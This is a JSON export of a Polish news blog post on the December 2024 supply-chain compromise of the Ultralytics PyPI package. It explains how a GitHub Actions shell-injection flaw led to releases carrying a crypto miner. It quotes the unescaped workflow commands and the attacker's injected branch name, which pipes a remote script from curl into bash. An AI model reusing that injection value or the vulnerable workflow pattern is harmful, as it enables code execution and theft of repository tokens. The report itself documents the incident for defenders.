{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"B\u0142\u0105d w obs\u0142udze GitHub Actions doprowadzi\u0142 do publikacji z\u0142o\u015bliwych wyda\u0144 Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Hakerzy zdo\u0142ali uruchomi\u0107 kod z uprawnieniami obs\u0142ugi GitHub Actions w repozytorium biblioteki Python Ultralytics, u\u017cywanej do zada\u0144 z zakresu widzenia komputerowego, takich jak wykrywanie obiekt\u00f3w na obrazach i segmentacja obraz\u00f3w. Po uzyskaniu dost\u0119pu do repozytorium napastnicy opublikowali w katalogu PyPI kilka nowych wyda\u0144 Ultralytics, zawieraj\u0105cych z\u0142o\u015bliwe zmiany do kopania kryptowalut. W ci\u0105gu ostatniego miesi\u0105ca biblioteka Ultralytics by\u0142a pobierana z katalogu PyPI ponad 6,4 miliona razy. <\/p>\n
Do kompromitacji repozytorium wykorzystano luk\u0119 w pakiecie ultralytics-actions, stosowanym do automatycznego uruchamiania handler\u00f3w w odpowiedzi na okre\u015blone dzia\u0142ania w repozytorium na GitHubie, przy u\u017cyciu mechanizmu GitHub Actions. W projekcie ultralytics lukowaty handler by\u0142 powi\u0105zany z wydarzeniem pull_request_target i by\u0142 wywo\u0142ywany przy przyjmowaniu nowych pull request\u00f3w. W szczeg\u00f3lno\u015bci, do formatowania kodu w przesy\u0142anych pull requestach wywo\u0142ywano handler format.yml, kt\u00f3ry wykonywa\u0142 kod zawarty w sekcji \u201erun\u201d pliku action.yml, w kt\u00f3rym by\u0142y polecenia shell z wzorami podstawie\u0144: git pull origin ${{ github.head_ref || github.ref }} git config \u2014global user.name \u201e${{ inputs.github_username }}\u201d git config \u2014global user.email \u201e${{ inputs.github_email }}\u201d <\/p>\n
W ten spos\u00f3b do polece\u0144 shell bez odpowiedniego escape'u wstawiono nazw\u0119 ga\u0142\u0119zi Git, wymienian\u0105 w pull requestcie. Co ciekawe, w sierpniu w pakiecie ultralytics-actions ju\u017c naprawiano podobn\u0105 luk\u0119 zwi\u0105zan\u0105 z u\u017cywaniem zewn\u0119trznej warto\u015bci w funkcji echo: echo \u201egithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u201d <\/p>\n
Aby przeprowadzi\u0107 wykonanie swojego kodu w kontek\u015bcie obs\u0142ugi GitHub Actions, napastnicy wys\u0142ali pull request do repozytorium ultralytics, podaj\u0105c jako nazw\u0119 ga\u0142\u0119zi: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
W zwi\u0105zku z tym, przy przyj\u0119ciu pull requestu do kodu wstawiono podan\u0105 przez atakuj\u0105cych fraz\u0119 \u201e$(…)\u201d, kt\u00f3ra przy p\u00f3\u017aniejszym uruchomieniu handlera doprowadzi\u0142a do wykonania kodu \u201ecurl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\u201d.
<\/center> <\/p>\n
Uruchamianie kodu w kontek\u015bcie GitHub Actions mo\u017ce by\u0107 wykorzystane do przechwytywania tokenu dost\u0119pu do repozytorium oraz innych danych poufnych. Nie jest dok\u0142adnie jasne, w jaki spos\u00f3b atakuj\u0105cym uda\u0142o si\u0119 utworzy\u0107 wydanie, uzyskuj\u0105c mo\u017cliwo\u015b\u0107 wykonania swojego kodu w GitHub Actions. Przypuszcza si\u0119, \u017ce przyczyni\u0142o si\u0119 do tego zmodyfikowanie obs\u0142ugi publish.yml (atakuj\u0105cy usun\u0119li weryfikacj\u0119 konta, z kt\u00f3rego dozwolone jest publikowanie wyda\u0144 w PyPI) oraz zastosowanie techniki zatruwania pami\u0119ci podr\u0119cznej GitHub Actions do wstawienia swoich danych do wydania. <\/p>\n
Pierwsze z\u0142o\u015bliwe wydanie Ultralytics 8.3.41 zosta\u0142o opublikowane przez przest\u0119pc\u00f3w w katalogu PyPI 4 grudnia o 23:51 (MSK) i usuni\u0119te o 12:15 nast\u0119pnego dnia. O 15:47 opublikowano kolejne wydanie 8.3.42, kt\u00f3re zosta\u0142o usuni\u0119te o 16:47. W ten spos\u00f3b z\u0142o\u015bliwe wersje by\u0142y dost\u0119pne do pobrania przez oko\u0142o 13 godzin (w dniu w PyPI rejestrowanych jest oko\u0142o 250 tysi\u0119cy pobra\u0144 biblioteki ultralytics). W sk\u0142ad wydania 8.3.41 i 8.3.42 wchodzi\u0142 kod, kt\u00f3ry umo\u017cliwia\u0142 pobieranie z zewn\u0119trznego serwera<\/a> komponentu XMRig do wydobywania kryptowalut. <\/p>\n
![\"B\u0142\u0105d](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n